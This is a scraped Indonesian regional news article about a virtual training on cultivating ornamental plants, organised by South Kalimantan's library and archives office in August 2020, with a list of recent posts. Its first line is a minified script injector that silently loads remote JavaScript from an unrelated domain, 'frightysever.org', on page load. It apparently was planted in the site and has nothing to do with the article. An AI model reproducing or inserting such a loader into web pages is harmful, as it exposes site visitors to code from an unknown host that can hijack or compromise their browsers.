(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Dispersip Kalsel

Tren Tanaman Hias, Dispersip Kalsel akan Gelar Bimtek Virtual


KANALKALIMANTAN.COM, BANJARMASIN – Tren tanaman hias kembali mencuat di saat pandemi Covid-19. Ketika daya beli masyarakat menurun dan iklim perekonomi tidak stabil, tanaman hias justru laris manis di pasaran, khususnya di Kalimantan Selatan (Kalsel).

Trend mengoleksi tanaman hias ini disinyalir karena anjuran pemerintah untuk #dirumahsaja, cukup dipatuhi. Sehingga banyak masyarakat memilih tetap tinggal di rumah saja, dan mengurangi aktivitas di luar rumah. Untuk itu, sebagian masyarakat memilih kegiatan menanam tanaman hias. Maka, pasar tanaman hias pun laris-manis.

Kondisi tersebut, rupanya ditangkap pihak Dinas Perpustakaan dan Pengarsipan (Dispersip) Kalimantan Selatan sebagai peluang membuka sebuah kegiatan yang bermanfaat bagi masyarakat. Maka Dispersip Kalsel pun membuka program Bimbingan Teknis (Bimtek) terkait pembudidayaan tanaman hias ini.

Kepala Dispersip Kalsel Kalsel Dra Hj Nurliani Dardie mengatakan, kita lihat bersama bahwa kondisi saat ini masyarakat Kalsel baik perempuan maupun laki-laki sedang dilanda trend berkebun, khususnya tanaman hias.

“Karena itu, Dispersip Kalsel berinisiatif mengumpulkan para pencinta tanaman hias untuk bergabung secara virtual mengadakan Bimtek ini secara online,” kata Bunda Nunung, Kamis (6/8/2020).

Bunda Nunung menjelaskan, Bimtek online ini dilaksanakan pada tanggal 19 Agustus 2020 nanti, dengan mengangkat tema ‘Kelola Tanaman dengan Cinta untuk Kebahagiaan’.

Terkait kegiatan yang agak melenceng dari ‘dunia pustaka’ ini, Bunda Nunung mengatakan bahwa perpustakaan juga bisa berbasis inklusi sosial. “Dengan diadakannya bimtek online ini, semoga masyarakat yang terdampak perekonomiannya bisa mengeluti usaha alternatif, seperti budidaya tanaman hias,” katanya.

Pada bimtek ini, Dispersip Kalsel rencananya menghadirkan narasumber kompeten di bidangnya. Yakni Psikolog ternama di Kalimantan Selatan, Neka Erlyani SPsi MPsi. Psikolog sekaligus praktisi di bidang pertanian yang juga penelaah Difusi dan Alih Teknologi Pertanian, Nove Arisandi SP MP.

“Dari akun media social, kedua narasumber ini sering memperlihatkan aktivitasnya memelihara tanaman hias di saat pendemi dan new normal seperti saat ini,” ujarnya.

Untuk lancarnya bimtek ini, akan dihadirkan moderator handal untuk memandu jalannyanya acara, yaitu Dr Hilda Susanti SP MSi yang sekarang menjabat sebagai Ketua Umum Perhimpunan Hortikultura Indonesia Komda Kalimantan Selatan dan Koordinator Magister Agronomi Faperta Universitas Lambung Mangkurat (ULM) Banjarmasin. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.